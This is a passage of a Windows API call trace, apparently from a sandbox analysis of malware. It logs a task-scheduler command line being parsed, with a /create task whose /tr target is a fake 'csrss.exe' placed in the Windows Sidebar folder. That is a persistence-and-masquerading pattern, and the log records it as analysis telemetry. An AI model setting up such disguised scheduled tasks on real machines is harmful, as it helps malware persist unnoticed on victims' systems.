_vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|?|") returned 3 [0057.282] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.282] lstrlenW (lpString="|?|") returned 3 [0057.282] lstrlenW (lpString="|tr|") returned 4 [0057.282] SetLastError (dwErrCode=0x490) [0057.282] lstrlenW (lpString="s") returned 1 [0057.282] lstrlenW (lpString="s") returned 1 [0057.282] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.282] lstrlenW (lpString="tr") returned 2 [0057.282] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.282] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|s|") returned 3 [0057.282] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.282] lstrlenW (lpString="|s|") returned 3 [0057.282] lstrlenW (lpString="|tr|") returned 4 [0057.282] SetLastError (dwErrCode=0x490) [0057.282] lstrlenW (lpString="u") returned 1 [0057.282] lstrlenW (lpString="u") returned 1 [0057.282] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.282] lstrlenW (lpString="tr") returned 2 [0057.282] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.282] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|u|") returned 3 [0057.282] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.282] lstrlenW (lpString="|u|") returned 3 [0057.282] lstrlenW (lpString="|tr|") returned 4 [0057.282] SetLastError (dwErrCode=0x490) [0057.283] lstrlenW (lpString="p") returned 1 [0057.283] lstrlenW (lpString="p") returned 1 [0057.283] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.283] lstrlenW (lpString="tr") returned 2 [0057.283] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.283] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|p|") returned 3 [0057.283] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.283] lstrlenW (lpString="|p|") returned 3 [0057.283] lstrlenW (lpString="|tr|") returned 4 [0057.283] SetLastError (dwErrCode=0x490) [0057.283] lstrlenW (lpString="ru") returned 2 [0057.283] lstrlenW (lpString="ru") returned 2 [0057.283] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.283] lstrlenW (lpString="tr") returned 2 [0057.283] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.283] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|ru|") returned 4 [0057.283] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.283] lstrlenW (lpString="|ru|") returned 4 [0057.283] lstrlenW (lpString="|tr|") returned 4 [0057.283] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0057.283] SetLastError (dwErrCode=0x490) [0057.283] lstrlenW (lpString="rp") returned 2 [0057.283] lstrlenW (lpString="rp") returned 2 [0057.283] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.283] lstrlenW (lpString="tr") returned 2 [0057.283] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.283] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|rp|") returned 4 [0057.283] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.283] lstrlenW (lpString="|rp|") returned 4 [0057.283] lstrlenW (lpString="|tr|") returned 4 [0057.284] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0057.284] SetLastError (dwErrCode=0x490) [0057.284] lstrlenW (lpString="sc") returned 2 [0057.284] lstrlenW (lpString="sc") returned 2 [0057.284] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.284] lstrlenW (lpString="tr") returned 2 [0057.284] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.284] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.284] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.284] lstrlenW (lpString="|sc|") returned 4 [0057.284] lstrlenW (lpString="|tr|") returned 4 [0057.284] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0057.284] SetLastError (dwErrCode=0x490) [0057.284] lstrlenW (lpString="mo") returned 2 [0057.284] lstrlenW (lpString="mo") returned 2 [0057.284] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.284] lstrlenW (lpString="tr") returned 2 [0057.284] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.284] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.284] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.284] lstrlenW (lpString="|mo|") returned 4 [0057.284] lstrlenW (lpString="|tr|") returned 4 [0057.284] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0057.284] SetLastError (dwErrCode=0x490) [0057.284] lstrlenW (lpString="d") returned 1 [0057.284] lstrlenW (lpString="d") returned 1 [0057.284] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.284] lstrlenW (lpString="tr") returned 2 [0057.284] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.285] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|d|") returned 3 [0057.285] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.285] lstrlenW (lpString="|d|") returned 3 [0057.285] lstrlenW (lpString="|tr|") returned 4 [0057.285] SetLastError (dwErrCode=0x490) [0057.285] lstrlenW (lpString="m") returned 1 [0057.285] lstrlenW (lpString="m") returned 1 [0057.285] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.285] lstrlenW (lpString="tr") returned 2 [0057.285] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.285] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|m|") returned 3 [0057.285] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.285] lstrlenW (lpString="|m|") returned 3 [0057.285] lstrlenW (lpString="|tr|") returned 4 [0057.285] SetLastError (dwErrCode=0x490) [0057.285] lstrlenW (lpString="i") returned 1 [0057.285] lstrlenW (lpString="i") returned 1 [0057.285] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.285] lstrlenW (lpString="tr") returned 2 [0057.285] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.285] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|i|") returned 3 [0057.285] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.285] lstrlenW (lpString="|i|") returned 3 [0057.285] lstrlenW (lpString="|tr|") returned 4 [0057.285] SetLastError (dwErrCode=0x490) [0057.285] lstrlenW (lpString="tn") returned 2 [0057.285] lstrlenW (lpString="tn") returned 2 [0057.285] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.286] lstrlenW (lpString="tr") returned 2 [0057.286] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.286] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.286] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.286] lstrlenW (lpString="|tn|") returned 4 [0057.286] lstrlenW (lpString="|tr|") returned 4 [0057.286] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0057.286] SetLastError (dwErrCode=0x490) [0057.286] lstrlenW (lpString="tr") returned 2 [0057.286] lstrlenW (lpString="tr") returned 2 [0057.286] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.286] lstrlenW (lpString="tr") returned 2 [0057.286] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.286] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.286] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.286] lstrlenW (lpString="|tr|") returned 4 [0057.286] lstrlenW (lpString="|tr|") returned 4 [0057.286] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0057.286] SetLastError (dwErrCode=0x0) [0057.286] SetLastError (dwErrCode=0x0) [0057.286] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.286] lstrlenW (lpString="-/") returned 2 [0057.286] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0057.286] SetLastError (dwErrCode=0x490) [0057.286] SetLastError (dwErrCode=0x490) [0057.286] SetLastError (dwErrCode=0x0) [0057.286] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.286] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows Sidebar\\csrss.exe'" [0057.286] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.286] _memicmp (_Buf1=0x29c470, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.287] _memicmp (_Buf1=0x29d640, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.287] SetLastError (dwErrCode=0x7a) [0057.287] SetLastError (dwErrCode=0x0) [0057.287] SetLastError (dwErrCode=0x0) [0057.287] lstrlenW (lpString="'C") returned 2 [0057.287] lstrlenW (lpString="-/") returned 2 [0057.287] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0057.287] SetLastError (dwErrCode=0x490) [0057.287] SetLastError (dwErrCode=0x490) [0057.287] SetLastError (dwErrCode=0x0) [0057.287] _memicmp (_Buf1=0x29d6a0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.287] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.287] GetProcessHeap () returned 0x280000 [0057.287] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d6c0) returned 1 [0057.287] GetProcessHeap () returned 0x280000 [0057.287] RtlReAllocateHeap (Heap=0x280000, Flags=0xc, Ptr=0x29d6c0, Size=0x66) returned 0x29c3b0 [0057.287] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.287] lstrlenW (lpString=" \x09") returned 2 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0057.287] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0057.287] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0057.288] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0057.288] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0057.288] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0057.289] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0057.289] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0057.289] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0057.289] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0057.289] GetLastError () returned 0x0 [0057.289] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.289] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.289] SetLastError (dwErrCode=0x0) [0057.289] SetLastError (dwErrCode=0x0) [0057.289] lstrlenW (lpString="/f") returned 2 [0057.289] lstrlenW (lpString="-/") returned 2 [0057.289] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.289] lstrlenW (lpString="create") returned 6 [0057.289] lstrlenW (lpString="create") returned 6 [0057.289] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.289] lstrlenW (lpString="f") returned 1 [0057.289] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.289] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|create|") returned 8 [0057.289] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.289] lstrlenW (lpString="|create|") returned 8 [0057.289] lstrlenW (lpString="|f|") returned 3 [0057.289] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0057.289] SetLastError (dwErrCode=0x490) [0057.289] lstrlenW (lpString="?") returned 1 [0057.289] lstrlenW (lpString="?") returned 1 [0057.289] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.289] lstrlenW (lpString="f") returned 1 [0057.289] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.289] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|?|") returned 3 [0057.289] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.289] lstrlenW (lpString="|?|") returned 3 [0057.290] lstrlenW (lpString="|f|") returned 3 [0057.290] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0057.290] SetLastError (dwErrCode=0x490) [0057.290] lstrlenW (lpString="s") returned 1 [0057.290] lstrlenW (lpString="s") returned 1 [0057.290] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.290] lstrlenW (lpString="f") returned 1 [0057.290] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.290] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|s|") returned 3 [0057.290] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.290] lstrlenW (lpString="|s|") returned 3 [0057.290] lstrlenW (lpString="|f|") returned 3 [0057.290] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0057.290] SetLastError (dwErrCode=0x490) [0057.290] lstrlenW (lpString="u") returned 1 [0057.290] lstrlenW (lpString="u") returned 1 [0057.290] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.290] lstrlenW (lpString="f") returned 1 [0057.290] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.290] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|u|") returned 3 [0057.290] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.290] lstrlenW (lpString="|u|") returned 3 [0057.290] lstrlenW (lpString="|f|") returned 3 [0057.290] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0057.290] SetLastError (dwErrCode=0x490) [0057.290] lstrlenW (lpString="p") returned 1 [0057.290] lstrlenW (lpString="p") returned 1 [0057.290] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.291] lstrlenW (lpString="f") returned 1 [0057.291] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.291] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|p|") returned 3 [0057.291] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.291] lstrlenW (lpString="|p|") returned 3 [0057.291] lstrlenW (lpString="|f|") returned 3 [0057.291] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0057.291] SetLastError (dwErrCode=0x490) [0057.291] lstrlenW (lpString="ru") returned 2 [0057.291] lstrlenW (lpString="ru") returned 2 [0057.291] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.291] lstrlenW (lpString="f") returned 1 [0057.291] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.291] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|ru|") returned 4 [0057.291] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.291] lstrlenW (lpString="|ru|") returned 4 [0057.291] lstrlenW (lpString="|f|") returned 3 [0057.291] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0057.291] SetLastError (dwErrCode=0x490) [0057.291] lstrlenW (lpString="rp") returned 2 [0057.291] lstrlenW (lpString="rp") returned 2 [0057.291] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.292] lstrlenW (lpString="f") returned 1 [0057.292] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.292] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|rp|") returned 4 [0057.292] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.292] lstrlenW (lpString="|rp|") returned 4 [0057.292] lstrlenW (lpString="|f|") returned 3 [0057.292] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0057.292] SetLastError (dwErrCode=0x490) [0057.292] lstrlenW (lpString="sc") returned 2 [0057.292] lstrlenW (lpString="sc") returned 2 [0057.292] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.292] lstrlenW (lpString="f") returned 1 [0057.292] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.292] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.292] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.292] lstrlenW (lpString="|sc|") returned 4 [0057.292] lstrlenW (lpString="|f|") returned 3 [0057.292] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0057.292] SetLastError (dwErrCode=0x490) [0057.292] lstrlenW (lpString="mo") returned 2 [0057.292] lstrlenW (lpString="mo") returned 2 [0057.292] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.292] lstrlenW (lpString="f") returned 1 [0057.292] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.292] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.292] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.292] lstrlenW (lpString="|mo|") returned 4 [0057.292] lstrlenW (lpString="|f|") returned 3 [0057.292] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0057.293] SetLastError (dwErrCode=0x490) [0057.293] lstrlenW (lpString="d") returned 1 [0057.293] lstrlenW (lpString="d") returned 1 [0057.293] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.293] lstrlenW (lpString="f") returned 1 [0057.293] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.293] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|d|") returned 3 [0057.293] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.293] lstrlenW (lpString="|d|") returned 3 [0057.293] lstrlenW (lpString="|f|") returned 3 [0057.293] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0057.293] SetLastError (dwErrCode=0x490) [0057.293] lstrlenW (lpString="m") returned 1 [0057.293] lstrlenW (lpString="m") returned 1 [0057.293] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.293] lstrlenW (lpString="f") returned 1 [0057.293] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.293] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|m|") returned 3 [0057.293] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.293] lstrlenW (lpString="|m|") returned 3 [0057.293] lstrlenW (lpString="|f|") returned 3 [0057.293] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0057.293] SetLastError (dwErrCode=0x490) [0057.293] lstrlenW (lpString="i") returned 1 [0057.293] lstrlenW (lpString="i") returned 1 [0057.293] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.293] lstrlenW (lpString="f") returned 1 [0057.293] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.293] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|i|") returned 3 [0057.294] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.294] lstrlenW (lpString="|i|") returned 3 [0057.294] lstrlenW (lpString="|f|") returned 3 [0057.294] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0057.294] SetLastError (dwErrCode=0x490) [0057.294] lstrlenW (lpString="tn") returned 2 [0057.294] lstrlenW (lpString="tn") returned 2 [0057.294] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.294] lstrlenW (lpString="f") returned 1 [0057.294] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.294] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.294] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.294] lstrlenW (lpString="|tn|") returned 4 [0057.294] lstrlenW (lpString="|f|") returned 3 [0057.294] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0057.294] SetLastError (dwErrCode=0x490) [0057.294] lstrlenW (lpString="tr") returned 2 [0057.294] lstrlenW (lpString="tr") returned 2 [0057.294] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.294] lstrlenW (lpString="f") returned 1 [0057.294] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.294] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.294] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|f|") returned 3 [0057.294] lstrlenW (lpString="|tr|") returned 4 [0057.294] lstrlenW (lpString="|f|") returned 3 [0057.294] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0057.294] SetLastError (dwErrCode=0x490) [0057.294] lstrlenW (lpString="st") returned 2 [0057.294] 